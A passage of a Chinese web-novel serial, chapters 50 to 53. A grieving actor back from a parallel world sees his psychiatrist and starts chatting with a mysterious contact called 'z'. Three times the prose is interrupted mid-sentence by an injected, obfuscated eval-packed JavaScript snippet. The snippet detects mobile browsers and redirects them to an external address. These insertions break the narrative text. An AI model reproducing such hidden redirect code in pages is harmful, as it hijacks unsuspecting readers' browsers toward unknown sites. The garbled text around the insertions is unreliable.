只是这一次,没有人会从雪幕中来,为他撑一把伞了。 花瓶里的山茶花败了又换,开了又败,一转数年。 别墅里属于姜洄的物件没有等回它们的主人,赵熙也没有等到他的小叔叔。 这一年的冬天,江城很冷。 赵熙翻过前篇,在他日记里写: 在意识到爱你的那天,我给自己宣判了罪名。 而至如今,我才明白,爱你,也是我的无期徒刑。 小叔叔曾经教导了他那么多知识,学校里的和社会里的,一点一滴,教会了赵熙的一切。 而他离开前教他的最后一课,原来是离别。 他想,也许不用再等了。 那十年是他们的起点,也是他们的终点。 属于他们的故事,在这个世界,已经落下帷幕了。 50.一年 姜洄从梦中惊醒。 寒冬的冷风吹动窗帘,清灵的月光透过帘子的缝隙洒进房间。 姜洄很久才回过神,他按亮手机屏幕,看见了现在的时间,凌晨两点十一分。 昨天连续赶了两场代言,回到家他洗了个澡便匆匆睡下了,不到四个小时,又被惊醒。 梦中的场景有些太过真实,想到梦里那双熟悉的眼眸,姜洄无意识地咬了咬唇。 他掀开被子下床,在书桌前倒了杯水。 抿了一口,凉白开流淌进喉咙里,总算冷静了些。 姜洄重新坐回床上,却如何也睡不着了。 他干脆从床头柜的抽屉里拿了包烟,上阳台抽去了。 这其实是他回来以后第一次梦见赵熙,时隔十二个月—— 是的,距离那场车祸,已经过去一年了。 现在是他回来后的第十三个月,他的生日刚过完不久,2037年的1月初。 那个在他昏迷中完成的,关于十五年前的“任务”,确实对他的现实生活没有任何影响,回来时他身为“赵茴”的身份已经二十八岁,但苏醒后他又回到了“二十五岁”。 他的身体恢复速度快得出奇,不到半个月就离开了医院。 回来后他也有意无意去搜寻过一些关于“赵家”的信息,从前他对赵家的事情并不了解,不过听说过赵家的事情,那个叫赵茴的年轻人,十几年前就因为谋害亲哥哥的罪名入了狱,听说在狱中郁郁而终了。 而在几年前,赵家剩下的所有遗产就都被赵茴的大伯赵青一家挥霍一空,不仅如此,还欠了一身赌债,从此赵家彻底消失在了贵圈之中。 那个世界他所做的一切,都没有给这里带来丝毫改变。 姜洄看着那几条零零散散的旧新闻,就好像在看隔了一个世纪的故事,模模糊糊有些不真切。 回来的这一年里,他忙于工作,忙于处理和前公司的各种纠纷,也有些刻意地去遗忘那半个月在另一个世界发生的一切。 可惜十年记忆并非是能如此轻易磨灭的存在。 他时常还会想起那里的一切,那栋承载了他们所有回忆的别墅,那束开在花瓶里的明艳白茶,那支刻录在专辑里的青涩曲调,那条载满不能言说心意的围巾……还有夕阳下抱着吉他弹唱情歌的少年身影。 不知是不是记恨他的不告而别,他竟从未在梦中和姜洄相见过一次。 有时姜洄甚至不知那十年,那些他用怜悯、亲情与复杂爱意浇灌出的那个人,是否只是他的幻梦一场。 他偶尔也会怀念,怀念那个爱恋依赖着自己的孩子,然后毫无预兆地看着周身的一切开始发呆。 就像现在。 姜洄习惯了在赵熙怀里睡去的每个夜晚,习惯了从噩梦中醒来后按在腰腹上帮他缓解胃痛的手,习惯了每天的早安吻和睡前赵熙为他热的那一杯牛奶。 这种习惯维持了近十年,乍然抽离,让他仿佛置身于一片不着陆的海洋深处,无可依靠,身后是回忆张来的深渊巨口。 ——习惯是一种很可怕的东西,这一点姜洄从很早之前就曾领悟到了。 而每一次这种念头在他心里升起时,苦涩又会再一次浮现在他口腔里,蔓延经脉,然后充斥他的五脏六腑。 但不过咎由自取,自作自受。 早知如此,他当初就不该一时兴起答应赵熙在一起。 ……赵熙也会这样想吗? 或许他也会后悔和自己这样的人在一起吧。 不愿再想下去,姜洄掐灭了烟头,捂住隐隐抽痛的腹部,回到了房间,躺上床重新闭眼。 明天又该去拿药了。 和在赵熙那边不愿接受治疗的情况不同,其实他在自己这个世界里,一直是有在看心理医生的。 可惜药物干预对他的效果不大,他基本只用安眠药,长此以往,甚至形成了安眠药依赖。 医生说这样不行,于是他又开始用音乐疗法,去到那个世界的时候,正是这样一种不上不下的状态。 赵熙将他照顾得很好,在一起之前他不太敢干预姜洄的决定,但在一起后或许是姜洄放下了长辈架子,又或许是身份不同了,赵熙强硬地不再允许他吃安眠药和褪黑素,睡不着的时候就是赵熙唱些民谣哄着他睡。 好不容易养得精神好些了,能睡安稳了,但回到这里,又好像回到了一切的起点。 第二天他一如既往地去私家医院拿药,带着口罩,全副武装,没告诉任何人。 给他治疗的医生一直是同一位,叫林宿,姜洄称呼他为林医生,这位林医生很年轻,从转正后遇到他至今,也已经有五六年了,对他的情况非常了解。 一看他的病症似乎又加深了些,林医生捏着报告叹气:“怎么好好的,这一年又变严重了,你是不是遇到什么事了?” 姜洄沉默两秒,说:“没有。” 能说什么呢,说他回到了十年前,在另一个平行世界,和那个世界里的自己谈了一场恋爱,现在回来放不下了? 姜洄是有些抑郁症和ptsd,但他还不想被人当成疯子。 林医生道:“愿意的话还是多出去走走吧,接触一些新的人和事物,或许会好一些。” 他用的是“或许”这个词,林医生的职业生涯在姜洄这里真是最挫败的一笔,药物在他身上几乎不起效果,有些人抑郁到极端,或许就直接自杀了,有些人被他治好了,但只有姜洄,反反复复六年,竟然还更变得严重了些,但看着好像也没有要自杀的倾向,林医生已经不知道什么样的事会对他起到治疗效果了。 姜洄点点头,这话其实赵熙也跟他说过,不过林医生说再多遍,好像都没有赵熙一个担忧的眼神对他管用。 ……怎么又想到他了。 林医生开了药单子,将电脑转给姜洄看的时候,他被屏幕晃了下眼睛。 阳光反射在屏幕上,透过这光,他看见了那张熟悉的脸。 只顿了一秒,姜洄便匆匆移开眼,把刚拉下的口罩又拉上了。 林医生注意到他的动作,有些疑惑:“怎么了?” 姜洄说没什么,道了谢,拿着单子要去抓药,被林医生喊住了。 “或许,”林医生斟酌道,“实在觉得人生了无生趣的话,可以试着去谈一场恋爱,不要在乎结果,过程最重要。” 姜洄安静了会儿,可有可无地点点头,不知道有没有把他的话听进去。 可惜他不知道,姜洄就是这样一个在乎结果的人,他也已经谈过一场恋爱了。 可惜结局都不尽人意。 从医院出来,姜洄收到一个电话,思考两秒,他接了起来:“喂,宋姐。” 那头的女声笑着道:“今天咱们新剧上映,值得庆祝!而且听说你和无良公司打官司打赢了?出来喝一杯啊。” “我不喝酒。” “知道你不喝酒,出来玩玩嘛,不为难你,在星火ktv,普通包厢。张瞬几个也在,没什么乱七八糟的事,你来唱唱歌也可以。” 姜洄没好再拒绝,应下了。 他先回家把药放了回去,才顺着宋因雯发来的地址打了车过去。 车窗外,街头的led上正缓缓播放着姜洄代言的品牌香水,他的面貌在大屏幕下也依旧是惊为天人的俊美,仿 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15101499|162371||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 佛上帝最优秀的杰作,最难熬的那年,全网都在黑他嘲讽他,但没有人喷过他这张脸。 姜洄只看了一眼,又扭过了头。 他没什么朋友,穿越前确实是这样,但主要原因还是因为他不太喜欢和人打交道,有点空闲也宁愿窝在家里听音乐或是刷萌宠视频。 回来后不知出于什么原因,也许是觉得不能过得太颓废,也许是不想输给另一个世界那样明媚耀眼的自己,又也许……只是想起不知道哪个夜晚,赵熙因为担忧他的精神状态,对他说,可以多交几个朋友——总之,他对社交这件事勉为其难提起了一点兴致。 宋因雯是他前段时间出演的一部电视剧《青葱时代》女主角的饰演者,张瞬是男二,在他没有刻意拒绝社交的情况下,都和他关系还不错。 和宋因雯平辈的朋友态度不同的是,大概因为咖位不一样,张瞬还对他很是尊敬。 姜洄踏进包厢时,宋因雯立刻迎上来,笑道:“快来快来,就等你了!” 张瞬等几个主要演员也起身和他打了个招呼。 ktv这种地方姜洄也不是没来过,对比酒吧,这里确实是他最能接受的娱乐场合之一了。 五颜六色的霓彩灯光下,姜洄点点头,拉下口罩:“你们玩,不用特意顾着我。” 宋因雯道:“给你要了果汁,不用拘谨,来来来,点歌吧!” 姜洄看了眼桌上放着的几瓶不同口味的果汁,拿起一瓶在手上:“谢谢,不过我不会唱歌。” “都来ktv了,高低也要唱几首,或者咱们摇签子呗,喝还是唱?”宋因雯道,“当然,你不能喝酒,喝果汁就行。” 姜洄只好意思意思地点了几首:“我不喝酒参与游戏也没什么意思,你们玩。” 他如今对酒精的气味已经不是那么敏感了,看着别人和没什么问题,只要自己不喝就行。 见他真的没兴趣,宋因雯也没为难,转头招呼其他人划拳去了。 她性格热情,到哪里都能玩得开,圈子里男男女女不少都和她是朋友。 当然,玩也没冷落下姜洄,她一边吆喝,一边问姜洄:“我看你工作室官博发的公告,你那官司打赢了是吧?” 姜洄点头。 普通人要告赢企业简直难如登天,好在他现在财力和名气都已经不是常人范畴,加上还有另一个世界里掰倒过盛兴娱乐的经历,哪怕耗时巨长,他还是通过手段拿到了能给盛兴娱乐造成毁灭性打击的证据,并将对方送上了法庭,控诉对方的罪名不只是对他买凶杀人,还有企业内各种灰色交易和肮脏手段。 几个月过去,这场在娱乐圈吃瓜群众和粉丝们密切关注下的官司,才终于以盛兴娱乐倒牌为结局作为落幕。 姜洄拿到了不少赔偿款,他没有声张,私下把这些钱都以捐款的名义分发给了那些因为遭到猥亵或是不公待遇自杀、精神失常的受害者家庭。 宋因雯唏嘘道:“你真是够勇的,幸好官司打赢了……我还听说盛兴倒牌,不少艺人都借机往星辉去了,不过星辉没收几个。” 有人应道:“星辉是大公司,哪看得上盛兴这种公司出来的小艺人?” “也不一定,昨天不是签了个素人吗?听说都不是科班出身,一首作品都没有,直接就签上了……” “谁知道是不是哪个大家族出来的公子哥啊,或者背后有什么金主靠山也说不定……” 姜洄咳嗽了一声。 现场安静了一秒,只剩张瞬还在拿着话筒忘情地唱着歌,见状茫然地看过来。 宋因雯道:“好了好了,出来玩就不聊这些工作话题了,大家好好吃好好玩。” 51.难过 姜洄其实对他们聊什么没什么掌控欲,也不认识那位突然和星辉签约的艺人。 但因为过去的经历,他不太见得惯他们以随口揣度的口吻去随意诋毁一位陌生人。 他们甚至不知道对方长什么样,又是个怎样的人……但这随口几句话,只要有心人将今晚的话题传出去,不管真假,都会让那位艺人和他们本身因此受到影响。 话头就此打住,一群人嘻嘻哈哈又笑闹起来,似乎没人把刚刚的插曲放在心上。 几分钟后,陆陆续续有人出去上厕所。 姜洄也起身对宋因雯道:“我出去一趟。” 宋因雯比了个“ok”表示了解,姜洄便拉上口罩,放下了手里没拧开过的果汁瓶子。 他推开包厢的门,顺着标识从走廊找到了卫生间。 但还没踏进去,便隐约听见了卫生间传来的声音。 有点耳熟,姜洄顿住了步子。 “真不知道他在装什么……” “也就仗着自己有点名气罢了,竟然还管起别人说什么了?” “怪不得大家都说他不好相处,也就宋姐和他咖位差不多,能入得了他的眼吧?” “哈哈,那可不一定,看见他手上那瓶果汁没?宋姐专门给他点的,还一直拉着他找话题,怕他不习惯,你看他领情吗?半天都没打开喝一口,怕人家给他下毒啊?” “真装。” 姜洄静了静,心里嗤笑一声。 谣言与误解是这个圈子里最常见的事情,姜洄开口咳嗽那一下自认已经足够体面,没有当场点破,但架不住有些人就是不知道眼红些什么,忍不住要背后借此辱骂嘲讽他。 果汁他没有喝,是因为他习惯性不喝任何这种场所下的饮料,鱼龙混杂的,谁知道有没有问题? 他是赵家家主的时候都因此吃过一次亏了,更加不可能在这样一个环境里毫无防备地喝下饮料。 但这些都不必解释给他们听,人们只愿意听也只愿意看自己想知道的,姜洄不欲与之争辩,也没有当场进去打脸的想法。 他退后一步,正要找个角落等他们离开再进去上厕所,忽然听见了张瞬的声音。 “你们误会了吧。”他说,“姜哥人挺好的,我刚刚听了一下,你们聊的那些确实不应该啊,传出去被人听到了多不好?而且姜哥也没有说什么重话吧?你们怎么反应这么大?” “哟,你小子,被灌了迷魂汤了啊?这么替他说好话?” “一口一个姜哥,我看你是见色忘友了。” “就说几句,又不掉块肉,你还护上了。” 张瞬道:“没有啊,确实是你们说的太过了,还有,姜哥不喝果汁可能是因为不渴呢?或者是一直聊天忘了……但总之,你们对他的恶意是不是有点大了?” 卫生间里安静了片刻,几人唏嘘两声:“算了算了,不和你争了,走了。” 一群人从姜洄面前的阴影前离开,没有注意到站在拐角里的他。 张瞬洗完手出来,看见他站在门口,愣了一下:“姜哥,你也上厕所啊?” 姜洄安静了下,笑笑:“嗯。” 张瞬犹豫道:“你……刚刚听到了?” 姜洄没有否认。 张瞬磕巴了下:“你别放心上,他们就是喜欢嘴人,其实也没什么坏心思……” 圈子里真是少见这样能为两头说好话的傻帽孩子了。 姜洄心里发笑,口罩掩不住他弯起的眉眼:“我知道,谢谢。” 张瞬挠挠头,脸红了。 卫生间灯光昏暗,不太明显,姜洄说完,和他点点头错身而过,进了卫生间,没注意到他的表情。 再回到包厢,宋因雯搭上他的肩膀,暧昧地朝他挤眉弄眼。 姜洄:“……怎么了?” 宋因雯朝一旁的张瞬抬了抬下巴,小声道:“刚刚出去后回来就这样了,不是你干的?” 姜洄微微凝神打量了对方两眼,似乎被张瞬所察觉到了,他抬头看过来,对上姜洄的目光,脸又红了一个度。 哪怕在霓彩灯影下也相当明显。 姜洄有些明白了:“……为什么说是我干的?” “刚刚就你俩还没回来啊。”宋因雯不好一直搭着他,毕竟在场这么多人,加上姜洄有些肢体洁癖,她很快就把手收了回来。 闻言她又笑道,“我也不好问发生了什么,不过……你是真看不出来还是假看不出来?” 姜洄挑眉:“什么意思?” 宋因雯:“哎呀,你个大男人还要我教,你真不知道张瞬性取向啊?人家在你进组第一天就屁颠屁颠拿着剧本请教你去了,有你在的场合他就一定会来,真是傻子都看得出来……” 姜洄默了默,心想他确实才知道:“我对他没那个意思。” 这么说,好像张瞬刚刚开口维护他也情有可原了。 不过哪怕是这个原因,姜洄也挺感谢他能站出来帮自己反驳他们的。 宋因雯猜测也是,没怎么意外:“还以为你俩成了呢,我说怎么可能这么快……看来还是人家单相思咯。” 姜洄摇头:“不用多想,不管他会不会告诉我,我都不会和他在一起的。” 宋因雯诧异:“这么笃定?怎么,你看不上他?还是你是异性恋?” 看着也不像啊,宋因雯看着他的时候基达嘀嘀嘀地响。 张瞬虽然不算什么大咖明星,但颜值还是很不错的,演技也说得过去,大有前途。 姜洄这样说,反倒让宋因雯有些好奇了。 但他只是笑笑,找了个普普通通的说辞:“不来电。” 宋因雯:“那就是他不是你的菜?” 这么说好像也行,姜洄没有反驳。 宋因雯道:“我还真好奇,你喜欢什么样的啊?都这个年纪了,不考虑谈个恋爱?” 姜洄反问:“二十六很老?” 宋因雯笑了:“没有没有,没这个意思,是好奇你怎么都不谈个恋爱,你看圈子里多少人在你这个岁数都互相谈了几轮了……虽然挺乱的吧,但也正常,不过好像没听说过你喜欢谁?” 姜洄淡淡道:“没有喜欢的。” “不是我说,总感觉……从认识你以来,你就有种奇怪的气质在身上。” 宋因雯摸了摸下巴,把手里的酒水一口闷了:“感觉你在难过,但不知道你为什么难过。” 姜洄愣了下:“……是吗。” 他看上去很难过吗? 其实姜洄也有所感觉。 这一年来,他被困在那段回忆里,刻意用忙碌的工作来麻痹自己的感知,但其实他根本没办法忘记那里的一切。 走在街上,听见熟悉的歌他会顿足发呆,只因为赵熙曾给他唱过。 他工作太忙忘记吃饭,胃抽搐也会想起赵熙给他做的营养粥、长寿面。 他不怎么吃糖,但路过便利店总会多看几眼,下意识想着要不要下去买点糖来。 然后又反应过来,已经没有人需要他喂糖吃了。 有天工作时, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15109899|162371||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他听见助理小许和自己说,他的头发有些长了,做造型不太方便。 姜洄才发现,他剪头发的习惯,竟然已经需要靠赵熙的提醒才能维持了。 但如今他的头发长了,已经没有人会再提醒他剪了,于是从那天后,他干脆留了长发。 经纪人李哥看他状态不好,问过他要不要养一只猫。 但看着对方发过来的小猫照片,姜洄没犹豫多久,直接拒绝了,说不养。 问原因,他也只说没有精力。 其实是因为他曾和人养过一只,所以,后来见过的所有猫也比不上那一只了。 生活里随处可见都是你的影子,我们的回忆那样长。 ……可是我们再也不会相见了。 宋因雯杵杵他胳膊,没察觉到他的异常,只是饶有兴致:“要不我给你介绍几个?你喜欢什么样的?” 姜洄张口想拒绝,林医生说过的话又响起在耳边。 试着谈个恋爱,有没有可能走出来呢? 这个念头有点荒唐,但姜洄沉默了两秒,竟然鬼使神差地没有拒绝。 宋因雯本来喝得有点上头,见状立刻精神了:“来来来,我列表男同随便你挑。” 姜洄嘴角抽搐了下:“你哪来这么多联系方式?” 宋因雯:“实话说,姐以前落魄的时候下过海,认识不少男同女同,有些是同事有些是客户……不过你放心,能介绍给你的肯定各方面都没问题。快说你喜欢什么样的?” 姜洄张了张嘴:“……身材好点,身体没病,脸好看……就行吧。” 宋因雯:“这简单,你等着!” 她拿出手机往后一阵捣鼓,过了一会儿抬头:“搞定!” 姜洄:“嗯?” 宋因雯道:“我挑了一下,有个条件还不错的,我把他联系方式发你了,你先处处,不喜欢可以再说。” 姜洄“嗯”了声,没有过多再聊这个话题。 宋因雯道:“对了,听说你前段时间买了栋别墅,在江淮小区?什么时候搬过去啊,姐上门祝贺你乔迁之喜。” 姜洄垂眼,推了推眼镜:“没打算搬,只是买下来而已。” 那栋别墅,是他和赵熙生活过十年的地方。 在这个世界,它原本被卖给了一家常年在国外的富户,姜洄又出高价把它买了回来。 但买下它,姜洄却并不打算搬过去。 那个地方有太多他和赵熙的回忆,他怕搬过去了,他的病反而会变得更严重。 遗忘是唯一可以和过去斩断关系的办法。 宋因雯也没纠结,恍然道:“哦,我懂,买房子不是搬家,是为了方便。” 姜洄笑笑,也没辩解。 离开时一群人互相告别,张瞬从人群里支支吾吾走上前,红着脸说可以送他,被姜洄平静地拒绝了。 他假装没有看到对方气馁的表情,确定过宋因雯能自己坐车回去,姜洄转身离开了。 从ktv出来后路过一家饭店,正好有些饿,姜洄干脆吃过饭才回到了家。 他脱下外套,在手机上收到了李哥发来的开播提醒。 那部电视剧播出了。 但坐在沙发上沉默片刻,他还是没有打开电视。 回到这个世界以后,他路过看见每一面镜子都会毫无预兆地愣神,次数多了,便有意识地避开镜子了。 他清楚的知道镜子里的是他自己,外人看来,那也是他自己。 可只有他知道,他看见的人是赵熙。 52.私生 他开始有意回避一切会让自己看见面容的东西,做造型的时候是不睁眼的,全部交给自己放心的造型师化妆师去处理。 家里的镜子都被他收了起来,卫生间的镜子也被他盖住了一半,有时是清洁面部需要他才会照一下镜子,却不敢多看。 他害怕看见那张熟悉的脸,回忆会在面容暴露在他眼前的那一刻钻进他的脑海,伴随着萦绕心头的愧疚,背后经年的烟疤与换上新眼球的眼睛也会因此颤痛。 姜洄清楚地知道自己在逃避,但他毫无办法。 既然已经打开了手机,想到宋因雯提起的联系方式,姜洄点进了和她的对话框。 他顺手发了句有没有安全到家的关怀,看着对方发来的那个手机号神游了一会儿,忽然有点后悔。 要不算了吧。 对他而言,接纳另一个人进入自己的世界并不是一件容易事……赵熙是个例外。 他是曾经的他自己,姜洄对他有一种天然的信任感,加上那时候他的身份也不一样,以长辈的名义去面对一个小辈,当然没什么问题。 后来在一起更不用说了。 这世上只有赵熙能懂他的未尽之言,也只有赵熙愿意迁就他的各种脾气,看得懂姜洄的一切喜好和厌恶,明白他潜藏的懦弱与痛苦。 他可以热烈而温和地挤进他的世界,再拥抱住他的全部,不管姜洄是否愿意对他放开自己的世界。 ……可是这个人,他再也不会见到了。 如今要他在这种情况下,以平辈的身份再去接纳一个陌生人,姜洄有些办不到。 正犹豫间,手机响了一声。 一个新的好友申请。 姜洄点开看了眼,申请的人头像是一只皮卡丘,名字写着“z”。 他的申请好友信息上什么都没填,只有一句“你好,我是”,和一个仿佛没打完就发了出来的逗号。 姜洄盯着那个头像看了两秒,才如梦初醒回过神。 圈里知道他手机号的人不少,但不会有人突然加他的联系方式,姜洄想,是他太久没加对方,宋因雯介绍的人自己找上门了? 他犹豫了下,不知是不是因为那个头像,还是点了同意。 聊几句也不吃亏,合不来就算了。 对方好像一直拿着手机,好友申请一通过,那边就一直显示“正在输入中”。 半天没看对方打字过来,姜洄便发了句:你好。 两秒后。 【z:你好。】 姜洄问:你是宋姐介绍的? 那边又是一阵“输入中”,半晌他回了个:嗯。 姜洄看得有些疑惑,想了想,他又发了句:怎么称呼? 【z:可以叫我小z。】 【z:你呢?】 小z?算网名吗? 看他第二个问题,姜洄不免更奇怪了,宋姐没和他交代自己是谁吗? 也有这种可能,毕竟宋因雯也没和他说对方叫什么。 当然,还有一种可能是z知道,但他在问该怎么称呼姜洄。 稍作思索,姜洄回复:姜洄,随你怎么称呼。 对方又是一阵“输入”,但半天没有信息发过来。 他似乎比姜洄还不擅长与人交际的样子,姜洄也失去了继续聊下去的念头。 恰好宋因雯回信息了,他便直接切出了聊天框。 宋因雯回复已经安全到家,姜洄扫了一眼,没再看消息,放下手机洗漱去了。 这一晚又是一个不眠夜。 姜洄闭上眼很久,左右睡不着,不想吃安眠药,倒有些想抽烟。 他的烟瘾从回来以后又染上了,不过不在工作的时间前后抽,被李哥发现要揪着他耳朵骂。 他点了一根,去了阳台,吹着冷风,慢慢吸了一口,反而更清醒了一些。 将手机划开,发现朋友圈忽然被人点赞了很多条。 进去一看,是今天刚加的那位“z”。 姜洄没有分号的习惯,他这个微信号已经用了很多年了,早年还会发些生活风景照,后来就只剩一些和合作伙伴的合照,这加起来也不少了。 但底下的信息点赞信息还在缓慢增加。 姜洄挑了下眉,看了眼时间,晚上十一点半。 大半夜不睡觉,来考古他的朋友圈? 有点奇怪,又有些无语,姜洄干脆开了只可见三天内朋友圈的权限,手机终于安静了。 刷了几个视频仍旧兴致寥寥,阳台冷风却吹得他脸人都要僵了。 正要把烟掐灭了进屋,却收到条消息。 【z:[链接:失眠睡不着怎么办?以下5个小技巧教你快速入睡……]】 姜洄:…… 他起了点兴趣,点进聊天框,打了个问号。 【口-口:?】 z回得很快,像是等着他发消息一般:不小心点到的。 【z:姜老师还没睡?】 这个称呼……圈里人是都这么喊,好像也没问题,不过z也是圈里人吗? 但确实是他说的随便怎么喊,现在要纠结这个似乎也不太对。 姜洄没多说什么:嗯。 那边沉默了一会儿。 【z:那可以看看我发的公众号,我觉得挺有用的。】 姜洄点进去看了眼,无非是做冥想、放空大脑之类的话。 他敷衍地扫了眼,然后退出来回:好,谢谢。 平淡的口吻和冷淡的对话。 他们心照不宣地结束了聊天。 姜洄看着那个头像,在指尖晦暗明灭的烟雾里想,这个“z”还挺有意思的。 说他主动,又一句多的话也不聊,说他冷淡,好像也不是这样。 姜洄从他的头像点进朋友圈,却发现这人的朋友圈一片空白,一丝痕迹都窥探不见……像小号,又或许是对他屏蔽了。 他的手指悬空,落在删除好友键的上方犹豫了下。 ……算了,无所谓。 就当多一个列表好友吧。 如此过了大半个月,到一月底。 年后,姜洄从李哥给的本子里挑了部民国题材的新戏,他在里面饰演一位伶人,也是男二,过完元宵开拍。 但这段时间,姜洄总觉得有些怪怪的。 他一般没工作的时候很少出门,偶尔出去也是买菜或是逛超市。 有时出门,会感觉周围似乎有人跟着自己,但这种感觉并不是次次都有,而且姜洄每次从人群里看回去,什么不对劲也看不到。 哪怕在家里也偶尔会觉得不对劲,总觉得有双眼睛在盯着他,卧室没有拉上窗帘时,这种感觉尤其明显。 他把这想法和李哥提过,对方因此也找人偷摸观察了几天,没发现他出门的时候有什么不对,而窗帘外—— 那是对面的居民楼,姜洄甚至不知道那道视线 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15114797|162371||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 到底来自于对面还是只是自己的幻觉。 观察一段时间无果,猜测可能是私生饭之类的存在,李哥只能叮嘱他注意安全。 为此还专门找了两个虎背熊腰的保镖给他,每天出门都带上,就在他对门住着,二十四小时待命。 这事也不知道怎么传到z耳朵里去了,没过两天,z问他:【姜老师遇到什么事了吗?】 姜洄看到消息时刚起床,把这当作一种寻常问候,随手回复:什么? 事实上,上次失眠话题后,似乎是他态度平静,z几乎每天都要给他转发一些东西,有时是养生链接,有些是失眠技巧,还有些是生活小妙招…… 反正什么琐碎的都往他聊天框里丢。 姜洄懒得回复,猜测这人是把自己当链接垃圾桶了,干脆开了免打扰。 直到这人安静几天后,突然给他扣了个问号。 【z:?】 姜洄正好看见了,也扣了个问号。 【口-口:?】 【z:打扰了……只是想看看你有没有把我删了。】 原来他也知道他这一系列转发操作很容易让人把他删掉啊。 姜洄是真无语了,没再回复。 这次又是z挑起话题,说:【听说姜老师最近找了两个保镖,以为是出了什么事,没发生什么就好。】 【口-口:没什么事,好像遇到私生饭了,安全着想,就找了两个。】 【z:私生饭??】 【z:你没事吧?】 奇怪。 这个口吻,好像他很担心姜洄一样。 姜洄从他语言里读到了一种和以往的小心翼翼不同的震惊与焦灼,他挑眉,难得多打了几个字回复。 【口-口:没有,只是一种感觉,最近好像有人盯着我。】 z沉默了。 过了一阵,姜洄看见他回:【原来如此,姜老师没事就好。】 【口-口:你很担心我?】 又是一阵沉默。 姜洄几乎想象得出对方在聊天框里删删改改的纠结模样,因为头顶的输入中就没有停下来过。 半晌,他才听见手机响了一声。 【z:当然,姜老师人这么好,我也不希望你出什么事。】 非常公式化的回答。 【口-口:我人很好?你以前认识我吗?】 这回对方回得很快。 【z:不】 不等姜洄反应,那边又迅速补充道: 【z:我是说……现实里不认识。】 【z:姜老师人那么好,我就算只是听别人说也知道你是个好人。】 他是个好人。 姜洄笑了。 他忽然真的对这个人生出了那么几分趣味来。 【口-口:你真有意思。】 【口-口:你是做什么的,方便说吗?】 【z:……算是搞创作的。】 哦,写稿子。小说作者还是编剧? 姜洄恍然:【你多大?】 【z:今年21。】 那就是还没满21,应该算20。 宋因雯从哪弄来的年轻小鲜肉资源? 姜洄想起,他走的时候,赵熙也是这个岁数。 恍惚一瞬,姜洄回神,宛如被泼了一盆凉水,瞬间冷静了。 他按灭手机,再次失去了聊下去的欲/望。 53.情伤 姜洄在休息室换衣服,他摘下眼镜,按压了一下右眼眼皮下的眼球,感到略有些生涩。 时间快到了,该换新的义眼片了。 门外,助理小许喊他:“姜哥,要走了。” 初夏时节,姜洄的那部新剧杀青,和剧组的工作人员一起出去吃了顿杀青宴。 他随手拍了张照发了朋友圈,没过一会儿,发现z点赞了。 时间过的很快,距离上次姜洄问他年龄,已经过去了四个月。 这期间z倒是偶尔还会给他发一些乱七八糟的链接,姜洄从没回复过。 他的朋友圈一直没有任何动静,但只要姜洄动态一更新,他几乎每次都是最先点赞的那个,好像一天到晚都捧着手机。 而从姜洄随身带着保镖之后,他能感觉到那种隐隐约约窥视感消失了,到现在也没有出现过。 看来哪怕对方真的是私生,也已经放弃了。 姜洄放下手机,继续吃饭。 桌上的男一和女一饰演艺人在聊天,姜洄隐约听了几耳。 男一说:“听说罗制片请了星辉娱乐的歌手来唱主题曲呢。” “是吗?哪个啊?” “好像叫什么xx?”男一说,“是个原创歌手,出道就签了星辉,最近还挺火的,你听过吗?” 女一:“好像有些耳熟……嘻嘻?这是什么名字,女的?” “哪能啊,男的,”男一感慨道,“也不知道为什么取个这个名字,跟网络歌手一样,到现在也没露面过,就出了几张专辑,真是太子爷一样的待遇啊……” 姜洄手里的筷子忽然就顿住了。 西西……? 是他想的那两个字吗? 姜洄脑海中一瞬间闪过许多东西,他下意识放下筷子,想拿出手机搜寻一下那位所谓的“西西”是什么人,但划开屏幕又犹豫了。 他想知道什么呢?想求证什么呢? 明知道那是不可能的,他在期待什么?又在恐惧什么? 姜洄的心跳不由自主地跳动起来,它的频率快到姜洄有一瞬间几乎要喘不上气了。 即便理智告诉他不可能,但姜洄还是点进百度,几乎是靠着本能敲下了一行字。 星辉娱乐,西西。 跳转的页面映入他眼帘。 没有照片,没有名字和年龄,只有一句简单的简介。 xx,流量新人歌手,2037年1月1签约星辉娱乐,已发表歌曲:回忆、倒流的海…… 已发行专辑:回忆…… 年龄未知,姓名未知,长相未知。 姜洄愣愣看着这几行字,一时不知道是庆幸更多,还是内心复杂更多。 只是一个名字而已……只是从别人口中听到这样一个名字,甚至不是他想的那两个字,就已经让他自乱了阵脚。 他闭了闭眼,退出了软件。 不能这样下去了。 鬼使神差的,他又点进了微信和z的对话框里。 z刚刚给他发了消息,只是因为姜洄给他开了免打扰没有看见。 【z:姜老师和剧组人关系真好。】 一句没头没尾的话。 